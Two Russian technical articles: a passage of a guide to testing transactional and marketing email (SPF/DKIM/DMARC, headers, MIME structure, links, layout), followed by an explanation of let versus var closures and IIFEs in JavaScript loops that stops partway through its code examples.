Контролируйте прохождение SPF, DKIM, DMARC. SPF позволяет владельцу домена указать в TXT-записи список серверов, имеющих право отправлять email-сообщения с обратными адресами в этом домене. Настраивается она для адреса, используемого в envelope-from (SMTP-конверте), в разделе управления DNS-зонами домена. DKIM обеспечивает проверку авторства сообщения или принадлежности его отправителя определенному домену с помощью технологий цифровой подписи, которая добавляется в само письмо (в его заголовок DKIM-Signature). Обычно DKIM-подпись настраивается на уровне MTA (инфраструктуры). DMARC задает политику проверки приходящей почты в определенном домене и действия над письмами, не проходящими аутентификацию SPF или DKIM. При попытке нарушения этой политики приходит структурированный отчет со сведениями о такой попытке. DMARC, также как и SPF, публикуется в виде TXT-записи в доменной зоне.
Проверьте доставляемость писем до основных почтовых служб — для России Mail.Ru, Yandex, GMail, Microsoft (Hotmail / Outlook.com / Office365), Rambler, nic.ru. В пришедших письмах нужно проконтролировать правильность HELO; наличие и прохождение проверок PTR/FCrDNS, SPF, DKIM и DMARC; валидность заголовков и данных в них, в частности, синхронность часов в датах и правильность временных зон.
На формирование некоторых параметров, например, авторизацию, доставляемость и попадание в спам интегрально влияют все компоненты, однако для их контроля обычно есть отдельные оперативные инструменты — DMARC и FBL-отчеты, API сервисов postmaster, инструменты трекинга писем, статистика доставки. Тестирование должно учитывать уровень внедрения инструментария оперативного мониторинга в компании — например, при отсутствии оперативного контроля DMARC-отчетов следует регулярно тестировать авторизацию писем, при отсутствии оперативного контроля доставляемости — регулярно проверять, как и куда попадают письма, даже если никакой разработки, связанной с отправкой писем, не ведется.
Для проверки инфраструктуры можно использовать специализированные сервисы, например, [mail-tester.com](https://www.mail-tester.com/), [mxtoolbox.com](https://mxtoolbox.com/). Подробные требования к инфраструктуре можно найти [в этой статье](https://habr.com/company/mailru/blog/239963/).
Требования к авторизации
------------------------
Проверить прохождение SPF, DKIM, DMARC обычно можно по заголовку Authentication-Results на сервере получателя.
Проверьте валидность SPF-записи на предмет синтаксиса, лимита на DNS-запросы (например, с помощью mxtoolbox.com). При формировании SPF должны быть учтены все источники рассылок (не забудьте CRM-системы, все используемые инфраструктуры доставки, в том числе те, через которые проводятся разовые маркетинговые кампании). Рекомендуется задавать разрешенные серверы для домена через список сетей (‘ip4’ / ‘ip6’). SPF проверяется для адреса отправителя из SMTP-конверта. Проверьте, что домен SMTP-конверта (envelope-from) соответствует домену из заголовка From. Типичные ошибки, связанные с SPF, перечислены [в этой статье](https://habr.com/company/mailru/blog/338700/).
Проверьте DNS-запись DKIM, валидность и состав DKIM-подписи (DKIM-Signature). Проверьте, что используется DKIM-ключ размером не менее 1024 бит. Рекомендуемый режим хэширования DKIM-подписи: relaxed/relaxed. Убедитесь, что подписаны все важные заголовки (From, To, Subject, Date, Message-ID, MIME-Version, Content-Type), не подписаны трекинговые заголовки (Received, Delivered-To, Return-Path), и DKIM проходит валидацию на основных почтовых службах. Настройте на одной из почтовых служб переадресацию на другую, DKIM не должен «биться» на переадресованных письмах. Убедитесь, что домен DKIM-подписи соответствует домену отправителя из заголовка From.
Проверьте прохождение DMARC на основных почтовых службах. Проверьте получение DMARC-отчетов, идентифицируйте и устраните проблемы с прохождением SPF и DKIM для всех IP-адресов вашей инфраструктуры.
Проверьте, что письма доставляются на внешние серверы с использованием шифрования (TLS). Проверить наличие TLS иногда можно по заголовку Received на сервере получателя: например, указание протокола ESMTPS или наличие параметров вида *(version=TLS1\_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);* указывает на наличие TLS.
Проверка генерирующего приложения
---------------------------------
#### Требования к почтовым адресам
**Адреса конверта**
Проверку генерирующего приложения начнем с адресов в SMTP-конверте.
Адреса конверта — это адреса уровня почтовой инфраструктуры. Они не видны пользователю, но важны для доставки, потому что в какой ящик попадёт письмо, определяется именно адресом конверта.
Адрес получателя в конверте (envelope-to, он же RCPT TO:) — это адрес, на который будет реально доставлено письмо.
* для всех писем, кроме регистрационных, адрес должен быть легально подписан и валидирован на рассылку в соответствии с административными требованиями.
* для рассылок адрес должен быть «живой», адреса, на которые регулярно не получается доставить письма, должны помечаться как неактивные, рассылки по ним не должны производиться. Но некоторые категории писем (например, восстановление доступа) возможно, следует отправлять и на адреса, ранее помеченные как неактивные.
Адрес отправителя в SMTP-конверте (обычно называется envelope-from, smtp.mailfrom или Return-Path) — на этот адрес будут доставляться сообщения о невозможности доставить письмо и автоответы. Пользователю этот адрес невидим. Также этот адрес используется для авторизации SPF. Проверяем, что:
* адрес доступен;
* не является адресом сотрудника и не перенаправляется в него, чтобы исключить автоответы, сообщения о недоступности и т.п.;
* обрабатывается скриптом, который будет помечать адреса недоступных пользователей как неактивные;
* адрес может быть автоматически генерируемым, т.е. уникальным для каждого письма;
* письмо на этот адрес не должно приводить к генерированию какого-либо ответного письма, например, сообщения о переполнении ящика.
**Адреса заголовков письма**
Эти адреса либо непосредственно видны пользователю, либо используются при ответе на письмо.
Адрес отправителя (заголовок From:) — это адрес и имя отправителя, отображаемые в списке писем и при чтении письма. Проверяем, что:
* Это «человекочитаемый» понятный адрес, идентифицирующий компанию.
* Содержит не только e-mail, но и имя отправителя.
* noreply@ возможен, но только если мы хотим подчеркнуть, что не рассчитываем получить ответ на письмо и он не будет читаться. Лучше продублировать эту мысль в тексте письма.
* При наличии не-ASCII символов (например, кириллицы) имя отправителя должно быть закодировано в соответствии с MIME, домен при наличии не-ASCII символов должен быть закодирован в Punycode.
* У писем одной категории адрес должен быть одинаков, не допускается использование автогенерируемых адресов. Это связано с тем, что From: чаще всего используется людьми для сортировки писем по папкам с помощью фильтров.
* Адрес должен быть разным (лучше в разных поддоменах) у транзакционных, маркетинговых и неотложных писем (таких как письма от службы поддержки). Это также связано с тем, что пользователь может пометить маркетинговые письма как спам или отфильтровать их в не читаемую папку.
* Адрес From и адрес SMTP-конверта должны находиться в одном домене или в поддоменах одного организационного домена для прохождения SPF в рамках DMARC.
* Адрес должен быть из домена организации. Недопустимо использовать во From домены бесплатных почтовых сервисов и других публичных почт, поскольку подобные рассылки не пройдут аутентификации SPF и DKIM в рамках DMARC.
Адрес Reply-To — на этот адрес будут отправляться «ручные» ответы при ответе пользователя на письмо. Он не является обязательным: при его отсутствии для ответа используется адрес из From. Проверяем, что Reply-To:
* Может быть автогенерируемым, т.е. уникальным для письма (позволяет узнать, на какое письмо пришел ответ).
* Не должен попадать в ящик сотрудника, чтобы избежать автоответов, а в идеале должен быть «завернут» в CRM.
* Может генерировать стандартный автоответ CRM, но не должен генерировать ничего лишнего, например, сообщений о переполнении ящика. При генерировании автоответов должны быть предприняты меры для исключения зацикливаний, они перечислены в стандарте RFC 3834.
* Может быть из любого домена, не обязательно совпадающего с From, однако иногда это пугает пользователей при ответе.
* Может отсутствовать, тогда его функции выполняет адрес From.
* Помимо адреса указано имя отправителя.
Адрес To:
* Должен содержать e-mail получателя (иначе это пугает получателя письма и настораживает антиспам).
* В идеале, должен содержать имя получателя. Но если имя неизвестно или сомнительно (например, адрес еще не подтвержден), лучше его не указывать (кто-то может ввести чужой адрес с плохим именем, а получатель может на вас обидеться).
#### Требования к заголовкам писем
Реальная кодировка текста должна совпадать с указанной в заголовке. Желательно использовать одну кодировку во всех заголовках и частях письма. Рекомендуется использовать UTF-8 как широко поддерживаемую. Кодировка указывается в заголовках Content-Type и в теге HTML-части.
Заголовки From:, Message-ID: и Date: должны формироваться непосредственно в скрипте отправки письма (а по стандартам — вместе с текстом письма) и обязательно в правильном формате. В случае их отсутствия или некорректности формирования, эти заголовки может добавить один из транзитных серверов, что приводит к нарушению целостности DKIM-сигнатуры.
8-битные символы в заголовках, включая тему письма (Subject) и имена вложенных файлов (Content-Type и Content-Disposition), должны отсутствовать; все символы, отличные от ASCII, в том числе кириллица, должны быть закодированы в quoted-printable или base64.
#### Требования к структуре письма
Для HTML-части письма желательно формировать альтернативную — текстовую (plain) часть. Также необходимо проверять соответствие и читаемость plain text-части письма (при её наличии) и общую структуру письма.
По стандарту RFC 5322, длина строки в письме не должна превышать 998 8-битных символов. Следует учитывать что в UTF-8 символ может занимать несколько октетов. Терминатором строк в электронной почте выступает пара CRLF (<сr> ascii 13, lf> ascii 10), занимающая 2 октета. Нужно проверять корректность терминатора строк, так как письма часто посылают с помощью Unix-скрипта, а в Unix терминатором строк служит один символ lf — для электронной почты это ошибка. Также следует проверять, не разбивают ли терминаторы строк символы в кодировке UTF-8: нельзя допускать наличие терминатора строк между двумя октетами одного символа, например, кириллического. Во избежание таких ситуаций необходимо разбивать текст до формирования письма, либо кодировать текст в base64.
Необходимо проверить правильность разметки аттачей и инлайнов — то есть корректность формирования заголовков «Content-Disposition: inline», если это картинка, отображаемая внутри письма, либо «Content-Disposition: attachment», если файл предназначен для скачивания.
Структура письма, по возможности, должна быть максимально простой: в частности, не должно встречаться больше одной multipart-части каждого типа (mixed, alternative, related), причем multipart/mixed используется только если письмо содержит вложенные файлы, multipart/related — при наличии инлайновых изображений, multipart/alternative — при наличии plain text- и HTML-частей. В общем виде структура письма, при отсутствии в нем аттачей и инлайн-картинок, должна выглядеть следующим образом:
multipart/alternative
— text/plain
— text/html
Порядок частей важен, text/plain должен идти ДО text/html или multipart/related. Это нужно для того, чтобы по умолчанию показывалась HTML-часть, и только если её отображение по каким-то причинам недоступно — отображалась plain-часть.
При наличии в письме инлайн-картинок его структура должна выглядеть следующим образом:
multipart/alternative
— text/plain
— multipart/related
—— text/html
—— image/… (инлайн-картинка)
—— image/… (инлайн-картинка)
Инлайн-картинки должны иметь Content-Disposition: inline и находиться строго внутри multipart/related-части.
В самом сложном случае, когда имеются и инлайновые изображения, и вложенные файлы, письмо имеет следующую структуру:
multipart/mixed
— multipart/alternative
—— text/plain
—— multipart/related
——— text/html
——— image/png
——— image/png
…
— application/octet-string (content-disposition: attachment)
— application/octet-string (content-disposition: attachment)
…
(multipart/related- и multipart/alternative-части должны быть закрыты до аттачей, аттачи относятся к внешней multipart/mixed-части)
#### Требования к URI
Любые URI (в атрибутах src, href, стилях и т.п.) должны содержать протокол и имя хоста (<https://example.com/somepath>). Типичными ошибками является использование относительных ссылок (/somepath) и отсутствие протокола (//example.com/somepath), что недопустимо для писем, т.к. в них протоколом по умолчанию может быть file://.
* Любые служебные и неASCII-символы (в частности, кириллица) в URI обязательно должны быть закодированы с помощью percent encoding.
* Ссылка, вставленная как текст (т.е. видимая пользователю как URL, а не как фрагмент текста), всё равно должна быть размечена через тег <а>, иначе пользователь не сможет по ней перейти по клику. Некоторые веб-почты размечают такие ссылки самостоятельно, но это не является стандартным поведением. Адрес href внутри A в таком случае должен совпадать с текстом ссылки, иначе контент-фильтр может среагировать на такую ссылку как на попытку обмануть пользователя. На это особенно следует обращать внимание при наличии «кликеров», отслеживающих переходы пользователя из письма.
* Лучше ограничиться использованием протоколов httр://, httрs:// и mаilto:.
* При высоких требованиях к безопасности следует полностью отказаться от использования http:// в пользу httрs://.
* Не должны использоваться нестандартные порты (например, [example.com](http://example.com):8080/somepath), т.к. они могут быть недоступны пользователю.
* Переход по ссылке внутри HTML-части не должен приводить к каким-либо изменениям состояния приложения (подписке, отписке, отмене заказа и т.п.) без дополнительного подтверждения пользователем на странице, т.к. некоторые системы контент-фильтрации могут самостоятельно проверять безопасность такого перехода, запрашивая страницу по ссылке; почтовое приложение может показывать превью страницы по ссылке при наведении мыши, а современные браузеры могут подгружать страницу до того, как пользователь щелкнул по ссылке, чтобы сократить время загрузки (в веб-приложении вообще не рекомендуется делать любые модифицирующие действия по GET-запросу, все модифицирующие запросы должны идти через POST или PUT).
* Переход по ссылке в заголовке List-Unsubscribe, наоборот, не должен требовать от пользователя каких-либо дополнительных действий, т.к. за пользователя отписку по этому заголовку обычно делает почтовая программа.
* Не стоит ожидать от пользователя, что он читает письмо и переходит по ссылке в том же браузере, в котором инициирует действие, приводящее к отправке письма (например, регистрирует учетную запись). Ссылка должна работать в любом другом браузере или на мобильном устройстве. В частности, пользователь может открыть ссылку, будучи не авторизованным, или авторизованным в аккаунте, отличном от того, на который было отправлено письмо.
* Т.к. длина URI может быть ограничена, не стоит для крупных объектов использовать URI типа data:. По той же причине не стоит использовать в ссылках слишком длинные URI.
* Нельзя использовать внешние сокращатели ссылок, это негативно влияет на доставляемость писем. Лучше, если все ссылки будут указывать на ваш домен, это сократит потенциальное негативное влияние чужой репутации на доставляемость писем.
* Не стоит располагать внешние картинки на каких-то публичных сервисах или бесплатных хостингах.
#### Требования к верстке письма
Почему верстать письма так сложно?
> Почтовые клиенты так или иначе показывают пользовательский контент в рамках своего интерфейса. Потенциально это может приводить к различным проблемам безопасности — межсайтовому скриптингу (XSS, Crossite scripting), подмене интерфейса (interface spoofing), DOM clobbering, деанонимизации пользователя / утечке информации (например, IP-адреса пользователя или куки через внешние запросы) и т.д., поэтому любой почтовый сервис и почтовое приложение имеет ту или иную степень защиты от каждого класса атак. К сожалению, нет единого подхода к организации этой защиты. Она может быть организована через:
>
>
>
> * изолированные ограниченные фреймы,
> * фильтрацию тегов и/или атрибутов,
> * ограничения на абсолютное позиционирование,
> * запрет или ограничение на использование блочных стилей (что критично для адаптивной верстки),
> * запрет на внешние элементы по умолчанию (т.е. загрузка внешних изображений требует разрешения пользователя) или использование прокси для доступа к ним,
> * конвертацию HTML-писем в другой промежуточный формат (например Microsoft Exchange / Outlook используют RTF, из-за чего добиться адекватного отображения элементов в Outlook обычными методами может быть чрезвычайно сложно),
> * запрет или ограничение на использование форм или их отдельных элементов.
>
>
>
> Также в письмах используются специфические элементы, такие как инлайн-изображения и URI cid://, поддержка которых может быть ограничена. Например, Mozilla Thunderbird не поддерживает cid:// для фоновых изображений.
Даже корректно сформированное письмо может по-разному отображаться в разных интерфейсах из-за особенностей их реализации и фильтрации содержимого письма.
При наличии ошибок в формате письма поведение становится полностью непредсказуемым. Например, в почтовых клиентах может быть разное поведение при неправильных URI, по-разному обрабатывается некорректное форматирование заголовков, по-разному работает автоопределение кодировки, если она не указана или указана неверно. Поэтому письмо надо обязательно посмотреть в разных интерфейсах: корректное отображение письма в одном интерфейсе не говорит о том, что оно составлено правильно (на самом деле, даже корректное отображение письма во всех интерфейсах не гарантирует отсутствие проблем с отображением в будущем).
Необходимо обратить внимание на следующие моменты:
* Проверить текст письма на смысловое содержание, отображение, отсутствие опечаток, синтаксических, орфографических и лексических ошибок.
* Проверить корректность подстановки данных приложения в шаблон или макет письма.
* Проверить корректность сумм, дат, чисел, позиций товара и другой информации с учетом допустимых граничных условий. В датах должен присутствовать год (некоторые пользователи заходят в ящик очень редко). Во времени должна присутствовать временная зона. В адресе должен присутствовать город, а в некоторых случаях необходимо указывать и страну.
* Проверить рабочее состояние всех ссылок в письме, если таковые имеются.
* В письмах, отправленных до подтверждения адреса, в т.ч. письмах со ссылкой-подтверждением, не должно присутствовать какого-либо текста, контролируемого cнаружи, даже имени пользователя, [иначе они могут быть использованы для спама](https://habr.com/company/mailru/blog/354310/) (в поле, отображаемое в письме, например, в имя, вставляется спам-текст и в качестве адреса указывается адрес жертвы). Например, если вы можете от имени вашего сервиса отправить нецензурный текст на адрес разработчика, то налицо наличие проблемы.
* Проверить отсутствие внешних картинок на сторонних сервисах.
* Проверить наличие счетчиков отправки, доставки, прочтения письма, переходов. Некоторые из них находятся в самом письме (например, счетчик-пиксель прочтения письма), некоторые отслеживаются рассыльщиком, но, как правило, все доступны в админке рассыльщика.
* Проверить правильность категории подписки и работу отписки пользователя для данной категории через ссылку в письме.
* Проверить отображение в:
+ популярных веб версиях почты: к «большой тройке» Mail.Ru, Yandex, Gmail, можно добавить Rambler и Outlook.com;
+ мобильных приложениях перечисленных выше почтовых провайдеров;
+ стандартных мобильных приложениях, работающих по протоколу IMAP, с учетом популярных мобильных платформ, как минимум для iPhone, Pixel (референсной платформы Android), Samsung (самая распространенная для Android), MIUI (на втором месте для Android-платформ);
+ различных десктопных браузерах: Chrome, Firefox, Edge, Internet Explorer, Opera и др.;
+ десктопных приложениях (почтовых программах), обязательно Thunderbird, Outlook и Apple Mail, опционально The Bat! и Opera Mail;
+ популярных корпоративных решениях с веб-интерфейсом (Exchange, опционально Roundcube, Communigate, Zimbra, SquirrelMail) — для B2B-решений;
+ не забывайте проверять верстку как на Retina-мониторах, так и на мониторах с более низким разрешением.
* Во время проверки в каждом случае нужно обратить внимание на:
+ Прохождение авторизационных заголовков, SPF/DKIM/DMARC.
+ Скорость загрузки письма: оно должно грузиться быстро, не зависать.
+ Отображение письма в списке писем: аватар, имя отправителя и тема, что попадает в сниппет письма, правильно ли определилась его категория (например, не попал ли заказ в категорию «соцсети»).
+ Верстку письма в целом: ничего ли не разъехалось, нет ли некорректных переносов слов и т.п., в том числе при масштабировании и изменении размеров окна.
+ Шрифты не должны быть мелкими или плохо читаемыми.
+ Фоновые изображения и фоновые цвета.
+ Соответствие брендбуку.
+ Удобство выполнения действий, подразумеваемых письмом. Например, если письмо содержит код подтверждения или другую информацию, которую может потребоваться где-то сохранить, то она не только должна хорошо читаться, ее должно быть удобно еще и выделить и скопировать даже в мобильном интерфейсе.
* Следите за общим размером письма (включая внешние картинки) и тем, чтобы он не превышал разумные значения. Чем тяжелее письмо по трафику и времени загрузки, тем вероятнее негативная реакция на него.
* Даже письма, в которые не вносится изменений, следует периодически проверять, т.к. изменения могут произойти на стороне почтовой службы, и может, например, «выстрелить» ранее невидимая проблема.
* Некоторые параметры необходимо контролировать во всех тестах. Например, проблемы с прохождением DKIM-аутентификации могут быть из-за проблем в инфраструктуре (проблемы с DNS или формированием DKIM-подписи, ошибки синхронизации времени), из-за ошибок формирующей программы (неправильно сформирован адрес отправителя, некорректные символы в заголовках, пропущены или продублированы обязательные заголовки From, Date или Message-ID) и из-за ошибок содержания (некорректные терминаторы строк, слишком длинные строки, неправильно заданные адреса). При этом «биться» письмо может не везде, и проблема может проявляться не на любом сервисе.
Проведение сплит-тестов
-----------------------
Маркетинговые исследования выходят за рамки этой статьи, но следует упомянуть несколько основных моментов, существенно влияющих на качество писем.
Рассылка имеет цель, поэтому она должна брать качеством, а не количеством (как это делают спамеры). Рассылка в обязательном порядке должна быть сегментирована. При проведении рекламной кампании нужно точно знать, кто попадает в сегментную выборку, зачем ему предлагаемый продукт и что хочется донести.
Для каждой рассылки необходимо посчитать CTR списка писем — это отношение количества прочитанных писем к общему количеству разосланных. В postmaster.mail.ru можно смотреть показатели по уникальным пользователям. Если замер идет через счетчик в письме (пиксель), то оценивается абсолютное количество открытий. CTR < 10% — это очень низкий показатель, такую рассылку нежелательно проводить. Следует стремиться к CTR > 30%. Для маркетинговых писем также большое значение имеют CTR переходов по ссылкам в письме и процент совершенных действий («продаж») по этим ссылкам. Обязательно нужно следить за жалобами (отмечанием письма как спам). Обычно для разовых рассылок хорошим показателем является десятая доля процента, для регулярных — сотая доля процента. Критические значения, после которых рассылка практически трактуется как спам, указаны здесь: <https://help.mail.ru/developers/mailing_rules/technical>.
Необходимо проводить сплит-тестирование различных вариантов рассылки для получения оптимальных показателей. Всего лишь изменение имени отправителя и темы письма может увеличить CTR в несколько раз и многократно снизить количество жалоб. Количество писем должно быть статистически значимо для оценки результатов (для больших проектов обычно это несколько тысяч). Финальный вариант письма рассылается в несколько этапов для дополнительного замера показателей и «прогрева» — начиная примерно с 10 000 получателей, с увеличением примерно на порядок в сутки.
Главная мысль: электронные письма являются частью вашего приложения, возможно, одной из наиболее сложных и проблемных. В то же время зачастую это «слепое пятно» с точки зрения тестирования. Надеюсь, что мне удалось привлечь ваше внимание к этой проблеме.
*Выражаю огромную благодарность за помощь в подготовке статьи Владимиру Дубровину [z3apa3a](https://habr.com/users/z3apa3a/) и Алене Лихачевой [s4ever](https://habr.com/users/s4ever/). В статье также использовались материалы Эдуарда Тянтова [EdT](https://habr.com/users/edt/) и Александра Пуртова [4Alexander](https://habr.com/users/4alexander/).* | https://habr.com/ru/post/419591/ | null | ru | null |
# Использование let объявлений переменных и особенности образуемых связываний в замыканиях в JavaScript
Написать данную заметку меня сподвигло прочтение статьи на Хабре [«Var, let или const? Проблемы областей видимости переменных и ES6»](https://habr.com/ru/company/ruvds/blog/420359/) и комментариев к ней, а также соответствующей части книги [Закаса Н. «Understanding of ECMAScript 6»](https://leanpub.com/understandinges6/read/). Исходя из прочитанного я вынес, что не всё так однозначно в оценке использования *var* или *let*. Авторы и комментаторы склоняются к тому, что при отсутствии необходимости поддержки старых версий браузеров имеет смысл полностью отказаться от использования *var*, а также использовать некоторые упрощенные конструкции, заместо старых, по умолчанию.
Про области видимости этих объявлений уже сказано достаточно, в том числе и в указанных выше материалах, поэтому я хотел бы заострить внимание только на некоторых неочевидных моментах.
Для начала хотелось бы рассмотреть **выражения немедленно вызываемых функций (Immediately Invoked Function Expression, IIFE)** в циклах.
```
let func1 = [];
for (var i = 0; i < 3; i++) {
func1.push(function(i) { return function() { console.log(i); } }(i));
}
func1.forEach(function(func) { func(); });
/*
В консоли получим
0 newECMA6add.js:4:59
1 newECMA6add.js:4:59
2 newECMA6add.js:4:59
*/
```
или можно обойтись без них используя *let*:
```
let func1 = [];
for (let i = 0; i < 3; i++) {
func1.push(function() { console.log(i); });
}
func1.forEach(function(func) { func(); });
/*
В консоли также получим
0 newECMA6add.js:4:37
1 newECMA6add.js:4:37
2 newECMA6add.js:4:37
*/
```
*Закас Н.* утверждает, что оба подобных примера выдавая один и тот же результат при этом также и работают абсолютно одинаково:
> «This loop works exactly like the loop that used var and an IIFE but is arguably cleaner»
что, впрочем, сам же, чуть далее, косвенно опровергает.
Дело в том, что каждая итерация цикла при использовании *let* создает отдельную локальную переменную *i* и при этом привязка в функциях отправленных в массив идет также по отдельным переменным (областям видимости) в каждой итерации.
В данном конкретном случае, результат действительно не отличается, но, что если мы немного усложним код?
```
let func1 = [];
for (var i = 0; i < 3; i++) {
func1.push(function(i) { return function() { console.log(i); } }(i));
++i;
}
func1.forEach(function(func) { func(); });
/*
В консоли получим
0 newECMA6add.js:4:59
2 newECMA6add.js:4:59
*/
```
Здесь, добавив *++i* наш результат оказался вполне предсказуем, так как мы вызвали функцию со значениями *i*, актуальными на момент вызова ещё при проходах самого цикла, поэтому последующая операция *++i* не повлияла на значение переданное функции в массиве, так как оно было передано в замыкание с помощью вызова внешней *function(i)* и оказалось связанно с полученным ею аргументом.
Теперь сравним с *let*-варинтом без **IIFE**
```
let func1 = [];
for (let i = 0; i < 3; i++) {
func1.push(function() { console.log(i); });
++i;
}
func1.forEach(function(func) { func(); });
/*
В консоли получим
1 newECMA6add.js:4:37
3 newECMA6add.js:4:37
*/
```
Результат, как видно, изменился, и, природа этого изменения, в том, что значение используемое в замыкании теперь связано не с областью видимости охватывающей функции, как до этого, а с областью относящейся к конкретному проходу цикла *for*. И на момент вызова функции через оператор *Array.prototype.forEach()* в этой области значение *i* уже было увеличено на 1 следующей за добавлением функции в массив инструкцией *++i*.
Чтобы глубже понять суть происходящего, рассмотрим примеры с двумя массивами. И для начала, возьмём var, без **IIFE**:
```
let func1 = [],
func2 = [];
for (var i = 0; i < 3; i++) {
func2.push(function() { console.log(++i); });
func1.push(function() { console.log(++i); });
++i;
}
func1.forEach(function(func) { func(); });
func2.forEach(function(func) { func(); });
/*
В консоли получим
5 newECMA6add.js:6:37
6 newECMA6add.js:6:37
7 newECMA6add.js:5:37
8 newECMA6add.js:5:37
*/
```
Здесь всё пока очевидно — замыканий нет, т. е., аналогичной, но с замыканием, будет подобная запись:
```
let func1 = [],
func2 = [];
function test() {
for (var i = 0; i < 3; i++) {
func2.push(function() { console.log(++i); });
func1.push(function() { console.log(++i); });
++i;
}
}
test();
func1.forEach(function(func) { func(); });
func2.forEach(function(func) { func(); });
/*
В консоли также получим
5 newECMA6add.js:7:41
6 newECMA6add.js:7:41
7 newECMA6add.js:6:41
8 newECMA6add.js:6:41
*/
```
В обоих примерах происходит следующее:
1. В начале последней итерации цикла *i == 2*, затем инкрементируется на *1 (++i)*, и в конце добавляется еще *1* от *i++*, В результате на конец всего цикла *i == 4*.
2. Поочередно вызываются функции находящиеся в массивах *func1* и *func2*, и в каждой из них последовательно инкрементируется одна и та же переменная *i*, захваченная по ссылке ими обеими из внешней области видимости (глобальной в первом варианте и function test() во втором).
Добавим **IIFE**.
Первый вариант:
```
let func1 = [],
func2 = [];
for (var i = 0; i < 3; i++) {
func2.push(function(i) { return function() { console.log(++i); } }(i));
func1.push(function(i) { return function() { console.log(++i); } }(i));
++i;
}
func1.forEach(function(func) { func(); });
func2.forEach(function(func) { func(); });
/*
В консоли получим
1 newECMA6add.js:6:56
3 newECMA6add.js:6:56
1 newECMA6add.js:5:56
3 newECMA6add.js:5:56
*/
```
Второй вариант:
```
let func1 = [],
func2 = [];
for (var i = 0; i < 3; i++) {
func2.push(function(i) { return function() { console.log(i); } }(++i));
func1.push(function(i) { return function() { console.log(i); } }(++i));
++i;
}
func1.forEach(function(func) { func(); });
func2.forEach(function(func) { func(); });
/*
В консоли получим
2 newECMA6add.js:6:56
1 newECMA6add.js:5:56
*/
```
При добавлении **IIFE** в первом случае мы вызвали зафиксированные значения *i* из области видимости *function(i)* (*0* и *2*, при первом и втором проходе цикла соответственно), и инкрементировали их на 1, каждая функция отдельно от другой, так как здесь нет захвата общей переменной, ввиду того, что значение *i* было переданно немедленно, как аргумент функции вернувшей замыкания, при соответствующих проходах цикла. Во втором случае общее связывание также отсутствует, но тут значение передается с одновременной инкременцией, поэтому на конец первого прохода *i == 4*, и, цикл дальше не пошёл. Но, обращаю внимание, на то, что в замыканиях связывания переменных всё также присутствуют как в первом так и втором вариантах. Например:
```
let func1 = [],
func2 = [];
for (var i = 0; i < 3; i++) {
func2.push(function(i) { return function() { console.log(++i); } }(i));
func1.push(function(i) { return function() { console.log(++i); } }(i));
++i;
}
func1.forEach(function(func) { func(); });
func2.forEach(function(func) { func(); });
func1.forEach(function(func) { func(); });
func2.forEach(function(func) { func(); });
/*
В консоли получим
1 newECMA6add.js:6:56
3 newECMA6add.js:6:56
1 newECMA6add.js:5:56
3 newECMA6add.js:5:56
2 newECMA6add.js:6:56
4 newECMA6add.js:6:56
2 newECMA6add.js:5:56
4 newECMA6add.js:5:56
*/
```
*прим.: даже если обрамить цикл функцией, общими, связывания, естественно не станут, так как у каждой функции сейчас своя отдельная область видимости образованная вызовом вернувших их функций.*
Теперь же рассмотрим инструкцию *let*, без IIFE соответственно.
```
let func1 = [],
func2 = [];
for (let i = 0; i < 3; i++) {
func2.push(function() { console.log(++i); });
func1.push(function() { console.log(++i); });
++i;
}
func1.forEach(function(func) { func(); });
func2.forEach(function(func) { func(); });
/*
В консоли получим
2 newECMA6add.js:6:41
4 newECMA6add.js:6:41
3 newECMA6add.js:5:41
5 newECMA6add.js:5:41
*/
```
А вот здесь, у нас образовались замыкания со связанными переменными цикла, и не отдельными, а общими.
В итоге мы имеем, что в первой области видимости, до вызова, значение *i == 1*, а во второй *i == 3*. Это значения, которые получила переменная *i*, до *i++* в конце соответствующих итераций цикла, но после всех инструкций в блоке цикла.
Далее вызываются функции находящиеся в массиве *func1* и они инкрементируют соответствующие переменные в обеих областях видимости и в результате в первой *i == 2*, а во второй *i == 4*.
Последующий вызов *func2* инкрементирует те же переменные дальше и получает *i == 3* и *5* соответственно.
Я специально поставил *func2* и *func1* внутри блока в таком порядке, чтобы была наглядней видна независимость от их расположения, и, чтобы подчеркнуть внимание читателя именно на факте захвата переменных цикла.
Напоследок приведу тривиальный пример направленный на закрепление понимания замыканий и области видимости *let* :
```
let func1 = [];
{
let i = 0;
func1.push(function() { console.log(i); });
++i;
}
func1.forEach(function(func) { func(); });
console.log(i);
/*
1 newECMA6add.js:5:34
ReferenceError: i is not definednewECMA6add.js:10:1
*/
```
### Что мы имеем в итоге
1. Задействование выражений немедленно вызываемых функций не является эквивалентным использованию итерируемых *let* переменных в функциях в циклах, и, в ряде случаев, приводит к различному результату.
2. Из-за того, что при использовании *let* объявления для итератора в каждой итерации создаётся отдельная локальная переменная, встаёт вопрос об утилизации ненужных данных сборщиком мусора. На этом пункте, признаться, я и хотел изначально заострить внимание, подозревая, что создание большого количества переменных в больших, соответственно, циклах будет тормозить работу компилятора, однако, при сортировке тестового массива с использованием только *let* объявлений переменных показало выигрыш по времени выполнения почти в два раза для массива в 100000 ячеек (по данной теме есть отдельная статья – см. ниже ссылку в комментарии – и там поясняется, что рассмотренный тест и его результаты имеют специфическую природу):
**Вариант с var:**
```
const start = Date.now();
var arr = [],
func1 = [],
func2 = [];
for (var i = 0; i < 100000; i++) {
arr.push(Math.random());
}
for (var i = 0; i < 99999; i++) {
var min,
minind = i;
for (var j = i + 1; j < 100000; j++) {
if (arr[minind] > arr[j])
minind = j;
}
min = arr[minind];
arr[minind] = arr[i];
arr[i] = min;
func1.push(function(i) { return function() { return i; } }(arr[i]));
}
func1.push(function(i) { return function() { return i; } }(arr[99999]));
for (var i = 0; i < 100000; i++) {
func2.push(func1[i]());
}
const end = Date.now();
console.log((end - start)/1000); // 9.847
```
**И вариант с let:**
```
const start = Date.now();
let arr = [],
func1 = [],
func2 = [];
for (let i = 0; i < 100000; i++) {
arr.push(Math.random());
}
for (let i = 0; i < 99999; i++) {
let min,
minind = i;
for (let j = i + 1; j < 100000; j++) {
if (arr[minind] > arr[j])
minind = j;
}
min = arr[minind];
arr[minind] = arr[i];
arr[i] = min;
func1.push(function() { return arr[i]; });
}
func1.push(function() { return arr[99999]; });
for (let i = 0; i < 100000; i++) {
func2.push(func1[i]());
}
const end = Date.now();
console.log((end - start)/1000); // 5.3
```
При этом время выполнения практически не зависело от наличия/отсутствия инструкций:
**с IIFE**
```
func1.push(function(i) { return function() { return i; } }(arr[i]));
```
либо
**без IIFE**
```
func1.push(function() { return arr[i]; });
```
и
**вызова функций**
```
for (var i = 0; i < 100000; i++) {
